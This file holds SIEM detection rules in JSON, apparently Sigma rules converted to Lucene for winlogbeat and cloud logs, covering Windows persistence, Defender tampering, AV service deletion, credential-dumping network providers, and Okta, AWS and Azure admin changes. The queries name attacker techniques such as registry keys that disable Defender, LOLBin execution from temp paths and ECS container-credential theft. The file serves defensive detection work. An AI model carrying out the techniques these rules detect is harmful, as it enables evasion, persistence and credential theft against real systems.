{"description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", "enabled": false, "false_positives": ["Legitimate security products adding their own AMSI providers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b2d0f21-d402-5d9d-1cec-d492a4c61958", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Persistence Via New AMSI Providers", "query": "((winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\* OR *\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\AMSI\\\\Providers\\\\*)) AND (NOT (process.executable:C\\:\\\\Program\\ Files*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5dacaf17-e92f-c10e-147e-b277c81f9ad6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hide User Account Via Special Accounts Reg Key", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList* AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "enabled": false, "false_positives": ["Other legitimate network providers used and not filtred in this rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "063c37be-601e-6bbc-7784-b3724d46b0b6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New Network Provider - CommandLine", "query": "((process.command_line.text:*\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND process.command_line.text:*\\\\NetworkProvider*) AND (NOT (process.command_line.text:(*\\\\System\\\\CurrentControlSet\\\\Services\\\\WebClient\\\\NetworkProvider* OR *\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanWorkstation\\\\NetworkProvider* OR *\\\\System\\\\CurrentControlSet\\\\Services\\\\RDPNP\\\\NetworkProvider*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "enabled": false, "false_positives": ["Other legitimate network providers used and not filtred in this rule"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1840efad-d1fb-5706-f665-f4aaaeafe1dc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New Network Provider - Registry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\NetworkProvider*) AND (NOT ((winlog.event_data.TargetObject:(*\\\\System\\\\CurrentControlSet\\\\Services\\\\WebClient\\\\NetworkProvider* OR *\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanWorkstation\\\\NetworkProvider* OR *\\\\System\\\\CurrentControlSet\\\\Services\\\\RDPNP\\\\NetworkProvider*)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", "enabled": false, "false_positives": ["Rare legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "08200f85-2678-463e-9c32-88dce2f073d1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSSQL Add Account To Sysadmin Role", "query": "(winlog.channel:\"Application\" AND Provider_Name:\"MSSQLSERVER\" AND winlog.event_id:\"33205\" AND Data:*object_name\\:sysadmin* AND Data:*statement\\:alter\\ server\\ role\\ \\[sysadmin\\]\\ add\\ member\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", "enabled": false, "false_positives": ["Legitimate administrative action"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4ceaea61-1534-623a-f4ea-2a4c79ca0238", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Configuration Modification", "query": "((State:\"Stopped\" OR \"Sysmon\\ config\\ state\\ changed\") AND (NOT (State:\"Started\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5cd3ae79-b6cf-acfa-0e7c-4feb56064053", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Modification Of Scheduled Tasks", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/Change\\ * AND process.command_line.text:*\\ \\/TN\\ * AND process.command_line.text:(*\\\\AppData\\\\Local\\\\Temp* OR *\\\\AppData\\\\Roaming\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\WINDOWS\\\\Temp\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\Temporary\\ Internet* OR *C\\:\\\\ProgramData\\\\* OR *C\\:\\\\Perflogs\\\\* OR *%ProgramData%* OR *%appdata%* OR *%comspec%* OR *%localappdata%*) AND process.command_line.text:(*regsvr32* OR *rundll32* OR *cmd\\ \\/c\\ * OR *cmd\\ \\/k\\ * OR *cmd.exe\\ \\/c\\ * OR *cmd.exe\\ \\/k\\ * OR *powershell* OR *mshta* OR *wscript* OR *cscript* OR *certutil* OR *bitsadmin* OR *bash.exe* OR *bash\\ * OR *scrcons* OR *wmic\\ * OR *wmic.exe* OR *forfiles* OR *scriptrunner* OR *hh.exe* OR *hh\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["Internal Research", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when an attempt at deactivating or resetting MFA.", "enabled": false, "false_positives": ["If a MFA reset or deactivated was performed by a system administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "67c9d10e-cd69-140a-efa0-83181a195e62", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta MFA Reset or Deactivated", "query": "eventtype:(\"user.mfa.factor.deactivate\" OR \"user.mfa.factor.reset_all\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run. This can indicate an adversary adding a backdoor to establish persistence or escalate privileges. This rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.", "enabled": false, "false_positives": ["Task Definition being modified to request credentials from the Task Metadata Service for valid reasons"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7b89d39f-854e-fd65-330d-715388425808", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS ECS Backdoor Task Definition", "query": "(eventSource:\"ecs.amazonaws.com\" AND eventName:(\"DescribeTaskDefinition\" OR \"RegisterTaskDefinition\" OR \"RunTask\") AND requestParameters.containerDefinitions.command:*169.254* AND requestParameters.containerDefinitions.command:*$AWS_CONTAINER_CREDENTIALS*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1525"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1525", "name": "Implant Container Image", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Darin Smith"], "license": ""}
{"description": "Detects when an ElastiCache security group has been created.", "enabled": false, "false_positives": ["A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e6f416e5-ec52-0340-1031-f10d3af2533c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS ElastiCache Security Group Created", "query": "(eventSource:\"elasticache.amazonaws.com\" AND eventName:\"CreateCacheSecurityGroup\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1136", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}, {"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an end user consents to an application", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a14bb04e-e3b8-802c-0a71-0c2dddacb35a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "End User Consent", "query": "ConsentContext.IsAdminConsent:\"false\"", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bailey Bercik '@baileybercik'", "Mark Morowczynski '@markmorow'"], "license": ""}
{"description": "Detects when an Google Workspace user is granted admin privileges.", "enabled": false, "false_positives": ["Google Workspace admin role privileges, may be modified by system administrators."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "dd123786-9eef-31e5-b7e9-bed94c21f61d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Workspace User Granted Admin Privileges", "query": "(eventService:\"admin.googleapis.com\" AND eventName:(\"GRANT_DELEGATED_ADMIN_PRIVILEGES\" OR \"GRANT_ADMIN_PRIVILEGE\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when an Network Zone is Deactivated or Deleted.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0aa77ba3-6f2e-e0f3-520c-ecd099ef26f5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Network Zone Deactivated or Deleted", "query": "eventtype:(\"zone.deactivate\" OR \"zone.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an Okta policy is modified or deleted.", "enabled": false, "false_positives": ["Okta Policies being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "cc372e39-ad70-c354-8729-9dc045a891bb", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Okta Policy Modified or Deleted", "query": "eventtype:(\"policy.lifecycle.update\" OR \"policy.lifecycle.delete\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an Policy Rule is Modified or Deleted.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "177692ff-c5ef-57eb-ad1f-e8ffe7d32cf6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Policy Rule Modified or Deleted", "query": "eventtype:(\"policy.rule.update\" OR \"policy.rule.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an security threat is detected in Okta.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a60890b1-2061-fea1-fcab-2cf89cd9a8ea", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Security Threat Detected", "query": "eventtype:\"security.threat.detected\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an the Administrator role is assigned to an user or group.", "enabled": false, "false_positives": ["Administrator roles could be assigned to users or group by other admin users."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "201474a5-b0de-4156-c165-f1e901e419b1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta Admin Role Assigned to an User or Group", "query": "eventtype:(\"group.privilege.grant\" OR \"user.account.privilege.grant\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an user account is locked out.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f9c0b8a6-51b6-7dfd-d2a4-9d733d63056e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Okta User Account Locked Out", "query": "displaymessage:\"Max\\ sign\\ in\\ attempts\\ exceeded\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an user acount is locked or suspended.", "enabled": false, "false_positives": ["System may lock or suspend user accounts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f0e9691c-15bb-4bce-204b-91a12e47695b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "OneLogin User Account Locked", "query": "(event_type_id:\"532\" OR event_type_id:\"553\" OR event_type_id:\"551\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an user assumed another user account.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d8f99795-b4dd-3eb6-0722-243ce53a0bd4", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "OneLogin User Assumed Another User", "query": "event_type_id:\"3\"", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.", "enabled": false, "false_positives": ["Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "50a2b632-828a-f101-a62d-0de97ceedec2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Attached Malicious Lambda Layer", "query": "(eventSource:\"lambda.amazonaws.com\" AND eventName:UpdateFunctionConfiguration*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Detects when app permissions (app roles) for other APIs are granted", "enabled": false, "false_positives": ["When the permission is legitimately needed for the app"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9d5edea6-edf6-fcd7-29cd-d75031626737", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "App Permissions Granted For Other APIs", "query": "properties.message:\"Add\\ app\\ role\\ assignment\\ to\\ service\\ principal\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bailey Bercik '@baileybercik'", "Mark Morowczynski '@markmorow'"], "license": ""}
{"description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "90fabaef-8e37-13b0-928c-c015eb9269e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Windows Defender Functionalities Via Registry Keys", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\*) AND ((winlog.event_data.TargetObject:(*\\\\Real\\-Time\\ Protection\\\\DisableBehaviorMonitoring OR *\\\\Real\\-Time\\ Protection\\\\DisableIOAVProtection OR *\\\\Real\\-Time\\ Protection\\\\DisableOnAccessProtection OR *\\\\Real\\-Time\\ Protection\\\\DisableRealtimeMonitoring OR *\\\\Real\\-Time\\ Protection\\\\DisableScanOnRealtimeEnable OR *\\\\SpyNet\\\\DisableBlockAtFirstSeen OR *\\\\DisableAntiSpyware OR *\\\\DisableAntiVirus) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(*\\\\SpyNet\\\\SpynetReporting OR *\\\\SpyNet\\\\SubmitSamplesConsent OR *\\\\MpEngine\\\\MpEnablePus) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["AlertIQ", "J\u00e1n Tren\u010dansk\u00fd", "frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", "enabled": false, "false_positives": ["Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1528d9c7-d709-4d99-20cd-ea7df1f0f592", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Execution of Sc to Delete AV Services", "query": "((process.executable.text:*\\\\sc.exe OR winlog.event_data.OriginalFileName:\"sc.exe\") AND process.command_line.text:*\\ delete\\ * AND process.command_line.text:(*AvgAdminServer* OR *AVG\\ Antivirus* OR *MBEndpointAgent* OR *MBAMService* OR *MBCloudEA* OR *avgAdminClient* OR *SAVService* OR *SAVAdminService* OR *Sophos\\ AutoUpdate\\ Service* OR *Sophos\\ Clean\\ Service* OR *Sophos\\ Device\\ Control\\ Service* OR *Sophos\\ File\\ Scanner\\ Service* OR *Sophos\\ Health\\ Service* OR *Sophos\\ MCS\\ Agent* OR *Sophos\\ MCS\\ Client* OR *SntpService* OR *swc_service* OR *swi_service* OR *Sophos\\ UI* OR *swi_update* OR *Sophos\\ Web\\ Control\\ Service* OR *Sophos\\ System\\ Protection\\ Service* OR *Sophos\\ Safestore\\ Service* OR *hmpalertsvc* OR *RpcEptMapper* OR *Sophos\\ Endpoint\\ Defense\\ Service* OR *SophosFIM* OR *swi_filter* OR *FirebirdGuardianDefaultInstance* OR *FirebirdServerDefaultInstance* OR *WRSVC* OR *ekrn* OR *ekrnEpsw* OR *klim6* OR *AVP18.0.0* OR *KLIF* OR *klpd* OR *klflt* OR *klbackupdisk* OR *klbackupflt* OR *klkbdflt* OR *klmouflt* OR *klhk* OR *KSDE1.0.0* OR *kltap* OR *ScSecSvc* OR *Core\\ Mail\\ Protection* OR *Core\\ Scanning\\ Server* OR *Core\\ Scanning\\ ServerEx* OR *Online\\ Protection\\ System* OR *RepairService* OR *Core\\ Browsing\\ Protection* OR *Quick\\ Update\\ Service* OR *McAfeeFramework* OR *macmnsvc* OR *masvc* OR *mfemms* OR *mfevtp* OR *TmFilter* OR *TMLWCSService* OR *tmusa* OR *TmPreFilter* OR *TMSmartRelayService* OR *TMiCRCScanService* OR *VSApiNt* OR *TmCCSF* OR *tmlisten* OR *TmProxy* OR *ntrtscan* OR *ofcservice* OR *TmPfw* OR *PccNTUpd* OR *PandaAetherAgent* OR *PSUAService* OR *NanoServiceMain* OR *EPIntegrationService* OR *EPProtectedService* OR *EPRedline* OR *EPSecurityService* OR *EPUpdateService*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when changes are made to PIM roles", "enabled": false, "false_positives": ["Legit administrative PIM setting configuration changes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "11d95c2d-b591-216f-b641-4b69c91d60f0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Changes To PIM Settings", "query": "properties.message:\"Update\\ role\\ setting\\ in\\ PIM\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5ccca11d-7e2e-5195-0efc-f730c9d2bedb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed Rundll32 Execution Via DllRegisterServer", "query": "(process.command_line.text:*DllRegisterServer* AND (NOT process.executable.text:*\\\\rundll32.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", "enabled": false, "false_positives": ["Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2598362f-40c3-1611-1518-457ea6fcfe14", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Events Deleted", "query": "properties.message:\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/EVENTS.K8S.IO\\/EVENTS\\/DELETE\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
